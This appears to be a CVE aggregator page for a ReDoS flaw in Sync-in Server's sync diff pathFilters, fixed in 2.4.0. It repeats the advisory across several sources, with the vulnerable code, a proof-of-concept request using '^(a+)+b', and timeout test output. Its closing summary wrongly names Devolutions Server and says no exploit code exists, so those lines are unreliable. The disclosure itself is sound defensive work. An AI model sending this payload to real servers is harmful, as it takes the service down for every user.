CVE-2026-58270
Sync-in Server has a ReDoS via Unsanitized Regex in Sync Diff `pathFilters`
Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, the sync diff endpoint compiles a user-supplied string into a RegExp with no complexity validation. A catastrophic-backtracking pattern (e.g. ^(a+)+b) blocks the Node.js event loop, making the entire server unresponsive to all users until the container is restarted. Version 2.4.0 patches the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
6.5
Sync-in Server has a ReDoS via Unsanitized Regex in Sync Diff `pathFilters`
Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, the sync diff endpoint compiles a user-supplied string into a RegExp with no complexity validation. A catastrophic-backtracking pattern (e.g. ^(a+)+b) blocks the Node.js event loop, making the entire server unresponsive to all users until the container is restarted. Version 2.4.0 patches the issue.
- Record
CVE-2026-58270- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
EUVDEUVD-2026-84198
6.5
Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, the sync diff endpoint compiles a user-supplied string into a RegExp with no complexity validation. A catastrophic-backtracking pattern (e.g. ^(a+)+b) blocks the Node.js event loop, making the entire server unresponsive to all users until the container is restarted. Version 2.4.0 patches the issue.
- Record
EUVD-2026-84198- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jx63-h26r-8cph
6.5
Sync-in Server has a ReDoS via Unsanitized Regex in Sync Diff `pathFilters`
Affected component: Sync-in Server v2.3.0, POST /api/app/sync/operation/diff/:id, vulnerable implementation of pathFilters in backend/src/applications/sync/dtos/sync-operations.dto.ts.
Summary
In the vulnerable version, the sync diff endpoint accepted a user-controlled regex pattern through pathFilters and compiled it into a RegExp without complexity validation. The resulting regex was then executed synchronously against relative file paths during diff generation.
A catastrophic-backtracking pattern, such as ^(a+)+b, can block the affected Node.js event loop when evaluated against a worst-case path shape. In a single-process deployment, this can make the server unavailable to other users while the regex evaluation is running. Repeated malicious requests can sustain the denial of service.
Details
SyncDiffDto transformed user input directly into a RegExp without validating regex complexity:
// backend/src/applications/sync/dtos/sync-operations.dto.ts
@IsOptional()
@Transform(({ value }) => (typeof value === 'string' && value.length > 0 ? new RegExp(value, 'i') : null))
pathFilters?: RegExp = null
The compiled regex was then executed synchronously during sync diff traversal:
// backend/src/applications/sync/services/sync-manager.service.ts
if (ctx.syncDiff.pathFilters && ctx.syncDiff.pathFilters.test(filePath)) {
Because .test() is synchronous, a catastrophic-backtracking pattern can block the Node.js event loop for the duration of the regex evaluation.
The impact depends on the file paths being tested. For example, the pattern ^(a+)+b is most effective when the sync tree contains a relative path beginning with a long sequence of a characters and not followed by b.
PoC
Prerequisites: Valid non-guest account, a registered sync client, and a sync path containing at least one file or directory whose relative path triggers catastrophic backtracking for the supplied pattern.
For the payload ^(a+)+b, an effective test case is a path containing a long name made of repeated a characters.
Steps:
- Register a sync client:
POST /api/app/sync/registerwith credentials andclientId. - Authenticate:
POST /api/app/sync/auth/cookieto get a JWT withclientIdembedded. - Create or use a sync path targeting an application-managed directory containing files.
- Ensure the sync path contains a worst-case filename or directory name for the regex, for example a long sequence of
acharacters. - Send a diff request with the ReDoS pattern:
POST /api/app/sync/operation/diff/1
Content-Type: application/json
sync-in-csrf: <csrf-token>
Cookie: sync-in-access=<jwt>
{"secureDiff":false,"firstSync":true,"defaultFilters":[],"pathFilters":"^(a+)+b","snapshot":{}}
Evidence from live test on Sync-in Server v2.3.0, Node.js v24.16.0:
[+] Baseline (no pathFilters): 0.019s, 15 files
[*] Sending ReDoS pattern: ^(a+)+b
[!] TIMEOUT after 20.022s - ReDoS CONFIRMED
# Server state during ReDoS:
$ docker stats sync-in --no-stream
CONTAINER CPU % MEM USAGE
sync-in 398.82% 745.2MiB / 7.709GiB
# Other endpoints did not respond during the timeout window:
$ curl -m 5 http://target:8080/
(exit code 28 - connection timeout)
The container-level CPU spike indicates severe resource saturation while the endpoint was unresponsive. The request timeout demonstrates event-loop blocking during the observed window, but does not by itself prove permanent failure after the malicious request stops.
Impact
An authenticated user with desktop sync access can submit a malicious pathFilters regex that blocks the affected Node.js event loop during sync diff generation.
In a single-process deployment, this can prevent other HTTP requests, including health checks, from receiving responses while the regex evaluation is running. Repeated malicious requests can keep the service unavailable and may require administrative intervention.
##…
- Record
GHSA-jx63-h26r-8cph- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
NVD
6.5
Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, the sync diff endpoint compiles a user-supplied string into a RegExp with no complexity validation. A catastrophic-backtracking pattern (e.g. ^(a+)+b) blocks the Node.js event loop, making the entire server unresponsive to all users until the container is restarted. Version 2.4.0 patches the issue.
- Record
CVE-2026-58270- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSV
6.5
Sync-in Server has a ReDoS via Unsanitized Regex in Sync Diff `pathFilters`
Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, the sync diff endpoint compiles a user-supplied string into a RegExp with no complexity validation. A catastrophic-backtracking pattern (e.g. ^(a+)+b) blocks the Node.js event loop, making the entire server unresponsive to all users until the container is restarted. Version 2.4.0 patches the issue.
- Record
CVE-2026-58270- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSVGHSA-jx63-h26r-8cph
6.5
Sync-in Server has a ReDoS via Unsanitized Regex in Sync Diff `pathFilters`
Affected component: Sync-in Server v2.3.0, POST /api/app/sync/operation/diff/:id, vulnerable implementation of pathFilters in backend/src/applications/sync/dtos/sync-operations.dto.ts.
Summary
In the vulnerable version, the sync diff endpoint accepted a user-controlled regex pattern through pathFilters and compiled it into a RegExp without complexity validation. The resulting regex was then executed synchronously against relative file paths during diff generation.
A catastrophic-backtracking pattern, such as ^(a+)+b, can block the affected Node.js event loop when evaluated against a worst-case path shape. In a single-process deployment, this can make the server unavailable to other users while the regex evaluation is running. Repeated malicious requests can sustain the denial of service.
Details
SyncDiffDto transformed user input directly into a RegExp without validating regex complexity:
// backend/src/applications/sync/dtos/sync-operations.dto.ts
@IsOptional()
@Transform(({ value }) => (typeof value === 'string' && value.length > 0 ? new RegExp(value, 'i') : null))
pathFilters?: RegExp = null
The compiled regex was then executed synchronously during sync diff traversal:
// backend/src/applications/sync/services/sync-manager.service.ts
if (ctx.syncDiff.pathFilters && ctx.syncDiff.pathFilters.test(filePath)) {
Because .test() is synchronous, a catastrophic-backtracking pattern can block the Node.js event loop for the duration of the regex evaluation.
The impact depends on the file paths being tested. For example, the pattern ^(a+)+b is most effective when the sync tree contains a relative path beginning with a long sequence of a characters and not followed by b.
PoC
Prerequisites: Valid non-guest account, a registered sync client, and a sync path containing at least one file or directory whose relative path triggers catastrophic backtracking for the supplied pattern.
For the payload ^(a+)+b, an effective test case is a path containing a long name made of repeated a characters.
Steps:
- Register a sync client:
POST /api/app/sync/registerwith credentials andclientId. - Authenticate:
POST /api/app/sync/auth/cookieto get a JWT withclientIdembedded. - Create or use a sync path targeting an application-managed directory containing files.
- Ensure the sync path contains a worst-case filename or directory name for the regex, for example a long sequence of
acharacters. - Send a diff request with the ReDoS pattern:
POST /api/app/sync/operation/diff/1
Content-Type: application/json
sync-in-csrf: <csrf-token>
Cookie: sync-in-access=<jwt>
{"secureDiff":false,"firstSync":true,"defaultFilters":[],"pathFilters":"^(a+)+b","snapshot":{}}
Evidence from live test on Sync-in Server v2.3.0, Node.js v24.16.0:
[+] Baseline (no pathFilters): 0.019s, 15 files
[*] Sending ReDoS pattern: ^(a+)+b
[!] TIMEOUT after 20.022s - ReDoS CONFIRMED
# Server state during ReDoS:
$ docker stats sync-in --no-stream
CONTAINER CPU % MEM USAGE
sync-in 398.82% 745.2MiB / 7.709GiB
# Other endpoints did not respond during the timeout window:
$ curl -m 5 http://target:8080/
(exit code 28 - connection timeout)
The container-level CPU spike indicates severe resource saturation while the endpoint was unresponsive. The request timeout demonstrates event-loop blocking during the observed window, but does not by itself prove permanent failure after the malicious request stops.
Impact
An authenticated user with desktop sync access can submit a malicious pathFilters regex that blocks the affected Node.js event loop during sync diff generation.
In a single-process deployment, this can prevent other HTTP requests, including health checks, from receiving responses while the regex evaluation is running. Repeated malicious requests can keep the service unavailable and may require administrative intervention.
##…
- Record
GHSA-jx63-h26r-8cph- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@sync-in/servernpm |
through 2.3.0 | 2.4.0 |
@sync-in/servernpm |
before 2.4.0 | 2.4.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-58270 is a medium vulnerability (CVSS 6.5) in Devolutions Server, published September 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 35th percentile. Fixed in @sync-in/server 2.4.0.
References
github.com/Sync-in/server/security/advisories/GHSA-jx63-h26r-8cph
nvd.nist.gov/vuln/detail/CVE-2026-58270
github.com/Sync-in/server/pull/228
github.com/Sync-in/server/commit/b1dcaa1d1c1bb17ab6c31a404cc9cead7efdd979
github.com/Sync-in/server/releases/tag/v2.4.0
github.com/advisories/GHSA-jx63-h26r-8cph
github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58270.json
github.com/Sync-in/server
Left out here: the rest of 2 source descriptions. The JSON record has them.